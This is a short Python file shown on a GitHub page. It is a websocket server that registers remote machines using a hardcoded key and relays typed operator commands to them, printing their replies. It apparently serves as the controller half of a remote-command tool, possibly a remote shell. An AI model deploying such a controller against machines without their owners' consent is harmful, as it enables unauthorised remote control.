-
Notifications
You must be signed in to change notification settings - Fork 0
/
client.py
39 lines (29 loc) · 1014 Bytes
/
client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from websockets import serve
from asyncio import get_event_loop
# THIS IS THE SERVER
# I SHOULD CONVERT TO BINARY SOB
connectedMachines = []
async def main(websocket, path):
while True:
res = await websocket.recv()
if "KEY: OmG" in res:
try:
machineName = res.split("CONNECT: ")[1].split(" KEY:")[0]
if machineName in connectedMachines:
continue
await websocket.send("SUCCESS")
connectedMachines.append(machineName)
except:
pass
elif "<MCHNNAME: " in res:
cmd = input(f"{res.split('<MCHNNAME: ')[1].split('>')[0]}: ")
await websocket.send(f">{cmd}")
else:
if res == "\n\n\n\n\nEND":
continue
print(res)
asyncEventLoop = get_event_loop()
startWebSockets = serve(main, "localhost", 8765)
asyncEventLoop.run_until_complete(startWebSockets)
asyncEventLoop.run_forever()
# connect to